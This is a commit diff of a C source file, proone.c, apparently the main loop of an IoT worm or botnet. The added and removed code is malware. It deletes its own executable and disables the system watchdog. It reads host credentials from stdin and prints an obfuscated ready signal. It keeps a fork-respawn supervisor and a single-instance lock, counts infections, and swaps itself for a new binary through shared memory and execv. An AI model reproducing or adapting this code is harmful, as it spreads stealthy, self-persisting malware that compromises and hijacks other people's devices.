aboutsummaryrefslogtreecommitdiff
path: root/src/proone.c
diff options
context:
space:
mode:
Diffstat (limited to 'src/proone.c')
-rw-r--r--src/proone.c635
1 files changed, 437 insertions, 198 deletions
diff --git a/src/proone.c b/src/proone.c
index 33cea92..8dfabc3 100644
--- a/src/proone.c
+++ b/src/proone.c
@@ -10,18 +10,22 @@
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
+#include <malloc.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/file.h>
+#include <sys/wait.h>
+#include <sys/random.h>
#include "proone.h"
-#include "util.h"
+#include "util_rt.h"
#include "dvault.h"
#include "heartbeat-worker.h"
-struct prne_global pne_g;
+struct prne_global prne_g;
+struct prne_shared_global *prne_s_g = NULL;
typedef struct {
@@ -40,104 +44,10 @@ static void (*proc_fin_call_ptr)(void) = NULL;
static bool finalising = false;
static pollfd_pool_t pollfd_pool;
-
-static bool ensure_single_instance (void) {
- int fd;
-
- fd = shm_open(
- prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL),
- O_RDWR | O_CREAT | O_TRUNC,
- 0666);
- prne_dvault_reset_dict();
- if (fd < 0) {
- return true;
- }
-
- if (flock(fd, LOCK_EX | LOCK_NB) < 0) {
- return errno != EWOULDBLOCK;
- }
- else {
- pne_g.has_proc_lim_lock = true;
- }
-
- return true;
-}
-
-static void init_rnd_engine (void) {
- uint32_t seed = 0;
- int fd;
- prne_rnd_engnie_alloc_result_t ret;
-
- fd = open("/dev/urandom", O_RDONLY);
- if (fd >= 0) {
- read(fd, &seed, sizeof(uint32_t));
- close(fd);
- }
-
- if (seed == 0) {
- // fall back to seeding with what's available.
- seed =
- (uint32_t)(time(NULL) % 0xFFFFFFFF) ^
- (uint32_t)(getpid() % 0xFFFFFFFF) ^
- (uint32_t)(getppid() % 0xFFFFFFFF) ^
- (uint32_t)(clock() % 0xFFFFFFFF);
- }
-
- ret = prne_alloc_rnd_engine(seed == 0 ? NULL : &seed);
- if (ret.result != PRNE_RND_ENGINE_ALLOC_OK) {
- abort();
- }
-
- pne_g.rnd = ret.engine;
-}
-
-static void delete_myself (const char *arg0) {
- static const char *proc_path = "/proc/self/exe";
- struct stat st;
- const char *path_to_unlink = NULL;
- char *path_buf = NULL;
-
- // get real path of myself
- if (lstat(proc_path, &st) == 0 && (path_buf = (char*)malloc(st.st_size + 1)) != NULL && readlink(proc_path, path_buf, st.st_size + 1) == st.st_size) {
- path_buf[st.st_size] = 0;
- path_to_unlink = path_buf;
- }
- else {
- // try to delete arg0 instead
- path_to_unlink = arg0;
- }
-
- unlink(path_to_unlink);
- free(path_buf);
-}
-
-static void disasble_watchdog (void) {
- static const char *watchdog_paths[] = {
- "/dev/watchdog",
- "/dev/misc/watchdog"
- };
- static const int one = 1;
- int fd;
- size_t i;
-
- for (i = 0; i < sizeof(watchdog_paths) / sizeof(const char*); i += 1) {
- if ((fd = open(watchdog_paths[i], O_RDWR)) >= 0) {
- ioctl(fd, 0x80045704, &one);
- close(fd);
- break;
- }
- }
-}
-
-static void handle_interrupt (const int sig) {
- if (pne_g.caught_signal == 0) {
- pne_g.caught_signal = sig;
- }
- signal(sig, SIG_DFL);
-}
+static prne_rnd_engine_t *mk_rnd_engine (void);
static void proc_fin_call (void) {
- if (pne_g.caught_signal != 0) {
+ if (prne_g.caught_signal != 0) {
size_t i;
worker_tuple_t *wt;
@@ -151,105 +61,23 @@ static void proc_fin_call (void) {
}
}
-static void print_ready_signature (void) {
- size_t len;
- uint8_t *sig_data;
- char *plain_str, *sig_str;
-
- plain_str = prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_SIGN_INIT_OK, &len);
-
- sig_data = (uint8_t*)malloc(len + 1);
- sig_data[0] = (uint8_t)(prne_rnd_gen_int(pne_g.rnd) % 256);
- memcpy(sig_data + 1, plain_str, len);
- prne_dvault_reset_dict();
- prne_dvault_invert_mem(len, sig_data + 1, sig_data[0]);
-
- sig_str = prne_enc_base64_mem(sig_data, len);
- if (sig_str == NULL) {
- abort();
- }
-
- puts(sig_str);
-
- free(sig_str);
- free(sig_data);
-}
-
-static void read_host_credential (void) {
- static const size_t buf_size = (1 + 2 + 255 * 2) * 4 / 3;
- char *buf = (char*)malloc(buf_size);
- size_t i;
- bool found = false;
-
- for (i = 0; i < buf_size; i += 1) {
- if (read(STDIN_FILENO, &buf[i], 1) != 1) {
- goto END;
- }
-
- if (buf[i] == '\n') {
- found = true;
- break;
- }
- }
- if (found) {
- prne_dec_base64_mem(buf, i, &pne_g.host_cred_data, &pne_g.host_cred_size);
- }
-
-END:
- free(buf);
-}
-
-
-int main (const int argc, char **args) {
+static int proone_main (void) {
int exit_code = 0;
size_t i;
worker_tuple_t *wt;
prne_worker_sched_info_t sched_info;
- pne_g.host_cred_data = NULL;
- pne_g.host_cred_size = 0;
- pne_g.has_proc_lim_lock = false;
- pne_g.bin_ready = false;
- pne_g.caught_signal = 0;
- pne_g.rnd = NULL;
- prne_init_unpack_bin_archive_result(&pne_g.bin_pack);
- prne_init_bin_archive(&pne_g.bin_archive);
-
- /* quick prep. IN THIS ORDER! */
- prne_init_dvault();
-#ifndef DEBUG
- delete_myself(args[0]);
- disasble_watchdog();
-#endif
- init_rnd_engine();
-
- print_ready_signature();
- read_host_credential();
- // get fed with the bin archive
- pne_g.bin_pack = prne_unpack_bin_archive(STDIN_FILENO);
- if (pne_g.bin_pack.result == PRNE_UNPACK_BIN_ARCHIVE_OK) {
- pne_g.bin_ready = prne_index_bin_archive(&pne_g.bin_pack, &pne_g.bin_archive) == PRNE_INDEX_BIN_ARCHIVE_OK;
- }
+ prne_g.rnd = mk_rnd_engine();
// done with the terminal
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
- // install signal handlers
- // try to exit gracefully upon reception of these signals
- signal(SIGINT, handle_interrupt);
- signal(SIGTERM, handle_interrupt);
- signal(SIGCHLD, SIG_IGN);
-#ifndef DEBUG
+#ifndef PRNE_DEBUG
signal(SIGPIPE, SIG_IGN);
#endif
- if (!ensure_single_instance()) {
- exit_code = 1;
- goto END;
- }
-
// init workers
if (prne_alloc_heartbeat_worker(&worker_pool[worker_pool_size].worker)) {
worker_pool_size += 1;
@@ -261,7 +89,7 @@ int main (const int argc, char **args) {
prne_init_worker_sched_req(&worker_pool[i].sched_req, NULL);
}
- if (worker_pool_size == 0 || pne_g.caught_signal != 0) {
+ if (worker_pool_size == 0 || prne_g.caught_signal != 0) {
goto END;
}
@@ -324,7 +152,7 @@ int main (const int argc, char **args) {
/* FIXME: `total_pollfd_size` could be zero if there's some bug in
* one of the workers.
*/
- ny_mem = realloc(pollfd_pool.arr, total_pollfd_size * sizeof(struct pollfd));
+ ny_mem = prne_realloc(pollfd_pool.arr, sizeof(struct pollfd), total_pollfd_size);
if (ny_mem != NULL) {
pollfd_pool.arr = (struct pollfd*)ny_mem;
pollfd_pool.size = total_pollfd_size;
@@ -379,7 +207,7 @@ int main (const int argc, char **args) {
}
END:
- free(pollfd_pool.arr);
+ prne_free(pollfd_pool.arr);
pollfd_pool.arr = NULL;
pollfd_pool.size = 0;
@@ -389,24 +217,435 @@ END:
wt->sched_req.mem_func.free(&wt->sched_req);
}
- free(pne_g.host_cred_data);
- pne_g.host_cred_data = NULL;
- pne_g.host_cred_size = 0;
+ prne_free_rnd_engine(prne_g.rnd);
+ prne_g.rnd = NULL;
- if (pne_g.has_proc_lim_lock) {
- shm_unlink(prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL));
- prne_dvault_reset_dict();
- pne_g.has_proc_lim_lock = false;
+ return exit_code;
+}
+
+static bool ensure_single_instance (void) {
+ prne_g.lock_shm_fd = shm_open(
+ prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL),
+ O_RDWR | O_CREAT | O_TRUNC,
+ 0666);
+ prne_dvault_reset_dict();
+ if (prne_g.lock_shm_fd < 0) {
+ return true;
+ }
+
+ if (flock(prne_g.lock_shm_fd, LOCK_EX | LOCK_NB) < 0) {
+ close(prne_g.lock_shm_fd);
+ prne_g.lock_shm_fd = -1;
+
+ return false;
+ }
+
+ return true;
+}
+
+static void delete_myself (const char *arg0) {
+#ifndef PRNE_DEBUG
+ static const char *proc_path = "/proc/self/exe";
+ struct stat st;
+ const char *path_to_unlink = NULL;
+ char *path_buf = NULL;
+
+ // get real path of myself
+ if (lstat(proc_path, &st) == 0 && (path_buf = (char*)prne_malloc(1, st.st_size + 1)) != NULL && readlink(proc_path, path_buf, st.st_size) == st.st_size) {
+ path_buf[st.st_size] = 0;
+ path_to_unlink = path_buf;
+ }
+ else {
+ // try to delete arg0 instead
+ path_to_unlink = arg0;
+ }
+
+ unlink(path_to_unlink);
+ prne_free(path_buf);
+#endif
+}
+
+static void disasble_watchdog (void) {
+#ifndef PRNE_DEBUG
+ static const char *watchdog_paths[] = {
+ "/dev/watchdog",
+ "/dev/misc/watchdog"
+ };
+ static const int one = 1;
+ int fd;
+ size_t i;
+
+ for (i = 0; i < sizeof(watchdog_paths) / sizeof(const char*); i += 1) {
+ if ((fd = open(watchdog_paths[i], O_RDWR)) >= 0) {
+ ioctl(fd, 0x80045704, &one);
+ close(fd);
+ break;
+ }
+ }
+#endif
+}
+
+static void handle_interrupt (const int sig) {
+ prne_g.caught_signal = sig;
+
+ if (prne_g.proone_pid != 0) {
+ kill(prne_g.proone_pid, sig);
}
+}
+
+static void setup_signal_actions (void) {
+ struct sigaction sa;
- prne_free_bin_archive(&pne_g.bin_archive);
- prne_free_unpack_bin_archive_result(&pne_g.bin_pack);
- pne_g.bin_ready = false;
+ sa.sa_handler = handle_interrupt;
+ sigemptyset(&sa.sa_mask);
+ sa.sa_flags = SA_RESETHAND;
+
+ // try to exit gracefully upon reception of these signals
+ sigaction(SIGINT, &sa, NULL);
+ sigaction(SIGTERM, &sa, NULL);
+}
+
+static void print_ready_signature (prne_rnd_engine_t *rnd) {
+ size_t len;
+ uint8_t *sig_data;
+ char *plain_str, *sig_str;
+
+ plain_str = prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_SIGN_INIT_OK, &len);
+
+ sig_data = (uint8_t*)prne_malloc(1, len + 1);
+ sig_data[0] = (uint8_t)(prne_rnd_gen_int(rnd) % 256);
+ memcpy(sig_data + 1, plain_str, len);
+ prne_dvault_reset_dict();
+ prne_dvault_invert_mem(len, sig_data + 1, sig_data[0]);
+
+ sig_str = prne_enc_base64_mem(sig_data, len);
+ if (sig_str == NULL) {
+ abort();
+ }
+
+ puts(sig_str);
+
+ prne_free(sig_str);
+ prne_free(sig_data);
+}
+
+static void read_host_credential (void) {
+ static const size_t buf_size = (1 + 2 + 255 * 2) * 4 / 3;
+ char *buf = (char*)prne_malloc(1, buf_size);
+ size_t i;
+ bool found = false;
+
+ for (i = 0; i < buf_size; i += 1) {
+ if (read(STDIN_FILENO, &buf[i], 1) != 1) {
+ goto END;
+ }
+
+ if (buf[i] == '\n') {
+ found = true;
+ break;
+ }
+ }
+ if (found) {
+ prne_dec_base64_mem(buf, i, &prne_g.host_cred_data, &prne_g.host_cred_size);
+ }
+
+END:
+ prne_free(buf);
+}
+
+static void set_env (void) {
+#ifdef PRNE_DEBUG
+ // print info on heap corruption as much as possible
+ mallopt(M_CHECK_ACTION, 3);
+#else
+ // silently die on heap corruption
+ mallopt(M_CHECK_ACTION, 2);
+#endif
+}
+
+static void create_ny_bin_shm (prne_rnd_engine_t *rnd) {
+ const size_t str_len = 1 + 10;
+
+ prne_g.ny_bin_shm_name = prne_malloc(1, str_len + 1);
+ if (prne_g.ny_bin_shm_name == NULL) {
+ return;
+ }
+
+ prne_g.ny_bin_shm_name[0] = '/';
+ prne_g.ny_bin_shm_name[str_len] = 0;
+ prne_rnd_anum_str(rnd, prne_g.ny_bin_shm_name + 1, str_len - 1);
+
+ prne_g.ny_bin_shm_fd = shm_open(prne_g.ny_bin_shm_name, O_RDWR | O_CREAT | O_TRUNC, 0000);
+ if (prne_g.ny_bin_shm_fd < 0) {
+ prne_free(prne_g.ny_bin_shm_name);
+ prne_g.ny_bin_shm_name = NULL;
+ }
+}
+
+static void exec_ny_bin (void) {
+ // Just die on error
+ static const size_t proc_fd_path_size = 14 + 11 + 1;
+ uint8_t *data, *bin = NULL;
+ size_t i, args_size, bin_size, argc = 0, cnt;
+ char *arg_str;
+ const char **args;
+ struct stat st;
+ char *proc_fd_path;
+ char *real_shm_path;
+
+ if (prne_g.ny_bin_shm_fd < 0) {
+ return;
+ }
+
+ if (fstat(prne_g.ny_bin_shm_fd, &st) < 0 || st.st_size < 0) {
+ abort();
+ }
+ if (st.st_size == 0) {
+ if (prne_s_g->has_ny_bin) {
+ abort();
+ }
+ return;
+ }
+ data = (uint8_t*)mmap(NULL, (size_t)st.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, prne_g.ny_bin_shm_fd, 0);
+ for (i = 1; i <= (size_t)st.st_size; i += 1) {
+ if (data[st.st_size - i] == 0) {
+ bin = &data[st.st_size - i + 1];
+ break;
+ }
+ }
+
+ if (bin == NULL) {
+ abort();
+ }
+ args_size = bin - data;
+ bin_size = st.st_size - args_size;
+ arg_str = prne_malloc(1, args_size);
+ memcpy(arg_str, data, args_size);
+
+ memmove(bin, data, bin_size);
+
+ munmap(data, (size_t)st.st_size);
+ data = NULL;
+ ftruncate(prne_g.ny_bin_shm_fd, bin_size);
+
+ for (i = 0; i < args_size; i += 1) {
+ if (arg_str[i] == 0) {
+ argc += 1;
+ }
+ }
+ args = prne_malloc(sizeof(const char*), argc + 1);
+ cnt = 1;
+ for(i = 1; cnt < argc; i += 1) {
+ if (arg_str[i] == 0) {
+ args[cnt] = &arg_str[i + 1];
+ cnt += 1;
+ }
+ }
+ args[argc] = NULL;
+
+ proc_fd_path = prne_malloc(1, proc_fd_path_size);
+ snprintf(proc_fd_path, proc_fd_path_size, "/proc/self/fd/%d", prne_g.ny_bin_shm_fd);
+ if (lstat(proc_fd_path, &st) < 0) {
+ abort();
+ }
+
+ real_shm_path = prne_malloc(1, st.st_size + 1);
+ if (readlink(proc_fd_path, real_shm_path, st.st_size) != st.st_size) {
+ abort();
+ }
- prne_free_rnd_engine(pne_g.rnd);
- pne_g.rnd = NULL;
+ fchmod(prne_g.ny_bin_shm_fd, 0777);
+ close(prne_g.ny_bin_shm_fd);
+ prne_g.ny_bin_shm_fd = -1;
+
+ args[0] = proc_fd_path;
+ if (execv(real_shm_path, (char *const*)args) < 0) {
+ abort();
+ }
+}
+
+static void init_shared_global (prne_rnd_engine_t *rnd) {
+ // just die on error
+ const size_t str_len = 1 + 10;
+ int fd;
+ char *name;
+
+ name = prne_malloc(1, str_len + 1);
+ name[0] = '/';
+ name[str_len] = 0;
+ prne_rnd_anum_str(rnd, name + 1, str_len - 1);
+
+ fd = shm_open(name, O_RDWR | O_CREAT | O_TRUNC, 0000);
+ if (fd < 0) {
+ abort();
+ }
+ shm_unlink(name);
+ prne_free(name);
+
+ if (ftruncate(fd, sizeof(struct prne_shared_global)) < 0) {
+ abort();
+ }
+ prne_s_g = (struct prne_shared_global*)mmap(NULL, sizeof(struct prne_shared_global), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
+ if (prne_s_g == NULL) {
+ abort();
+ }
+ close(fd);
+
+ prne_s_g->bne_cnt = 0;
+ prne_s_g->infect_cnt = 0;
+ prne_s_g->has_ny_bin = false;
+}
+
+
+int main (const int argc, char **args) {
+ int exit_code = 0;
+ prne_rnd_engine_t *rnd = NULL;
+
+ // inits that need no outside resources
+ set_env();
+ prne_init_dvault();
+
+ prne_g.host_cred_data = NULL;
+ prne_g.host_cred_size = 0;
+ prne_g.ny_bin_shm_name = NULL;
+ prne_g.rnd = NULL;
+ memset(&prne_g.god_start, 0, sizeof(struct timespec));
+ prne_g.run_cnt = 0;
+ prne_g.caught_signal = 0;
+ prne_g.god_pid = getpid();
+ prne_g.proone_pid = 0;
+ prne_g.lock_shm_fd = -1;
+ prne_g.ny_bin_shm_fd = -1;
+ prne_g.bin_ready = false;
+ prne_init_unpack_bin_archive_result(&prne_g.bin_pack);
+ prne_init_bin_archive(&prne_g.bin_archive);
+
+ /* inits that need outside resources. IN THIS ORDER! */
+ if (!ensure_single_instance()) {
+ exit_code = 1;
+ goto END;
+ }
+ rnd = mk_rnd_engine();
+ init_shared_global(rnd);
+ create_ny_bin_shm(rnd);
+ delete_myself(args[0]);
+ disasble_watchdog();
+
+ print_ready_signature(rnd);
+ read_host_credential();
+ // get fed with the bin archive
+ prne_g.bin_pack = prne_unpack_bin_archive(STDIN_FILENO);
+ if (prne_g.bin_pack.result == PRNE_UNPACK_BIN_ARCHIVE_OK) {
+ prne_g.bin_ready = prne_index_bin_archive(&prne_g.bin_pack, &prne_g.bin_archive) == PRNE_INDEX_BIN_ARCHIVE_OK;
+ }
+
+ setup_signal_actions();
+
+ prne_succeed_or_die(clock_gettime(CLOCK_MONOTONIC, &prne_g.god_start));
+
+ // main loop
+ while (prne_g.caught_signal == 0) {
+ prne_g.proone_pid = fork();
+
+ if (prne_g.proone_pid >= 0) {
+ prne_g.run_cnt += 1;
+ }
+
+ if (prne_g.proone_pid < 0) {
+ sleep(1);
+ }
+ else if (prne_g.proone_pid > 0) {
+ int status;
+
+ while (prne_g.caught_signal == 0) {
+ if (waitpid(prne_g.proone_pid, &status, 0) < 0) {
+ if (errno != EINTR) {
+ abort();
+ }
+ else {
+ continue;
+ }
+ }
+
+ prne_g.proone_pid = 0;
+ break;
+ }
+
+ if (!WIFEXITED(status)) {
+ sleep(3);
+ continue;
+ }
+ if (WEXITSTATUS(status) == 0) {
+ break;
+ }
+ }
+ else {
+ prne_free(prne_g.ny_bin_shm_name);
+ close(prne_g.lock_shm_fd);
+ prne_g.lock_shm_fd = -1;
+ prne_g.ny_bin_shm_name = NULL;
+
+ exit_code = proone_main();
+ break;
+ }
+ }
+
+END:
+ prne_free_bin_archive(&prne_g.bin_archive);
+ prne_free_unpack_bin_archive_result(&prne_g.bin_pack);
+ prne_g.bin_ready = false;
+
+ prne_free(prne_g.host_cred_data);
+ prne_g.host_cred_data = NULL;
+ prne_g.host_cred_size = 0;
+
+ if (prne_g.lock_shm_fd >= 0) {
+ shm_unlink(prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL));
+ prne_dvault_reset_dict();
+ close(prne_g.lock_shm_fd);
+ prne_g.lock_shm_fd = -1;
+ }
prne_deinit_dvault();
+ prne_free_rnd_engine(rnd);
+ rnd = NULL;
+
+
+ if (prne_s_g->has_ny_bin) {
+ exec_ny_bin();
+ }
+
+ if (prne_g.ny_bin_shm_name != NULL) {
+ shm_unlink(prne_g.ny_bin_shm_name);
+ prne_free(prne_g.ny_bin_shm_name);
+ }
+ close(prne_g.ny_bin_shm_fd);
+ prne_g.ny_bin_shm_name = NULL;
+ prne_g.ny_bin_shm_fd = -1;
+
return exit_code;
}
+
+static prne_rnd_engine_t *mk_rnd_engine (void) {
+ uint32_t seed = 0;
+ prne_rnd_engnie_alloc_result_t ret;
+
+ getrandom(&seed, sizeof(uint32_t), 0);
+
+ if (seed == 0) {
+ // fall back to seeding with what's available.
+ seed =
+ (uint32_t)(time(NULL) % 0xFFFFFFFF) ^
+ (uint32_t)(getpid() % 0xFFFFFFFF) ^
+ (uint32_t)(getppid() % 0xFFFFFFFF) ^
+ (uint32_t)(clock() % 0xFFFFFFFF);
+ }
+
+ ret = prne_alloc_rnd_engine(seed == 0 ? NULL : &seed);
+ if (ret.result != PRNE_RND_ENGINE_ALLOC_OK) {
+ abort();
+ }
+
+ return ret.engine;
+}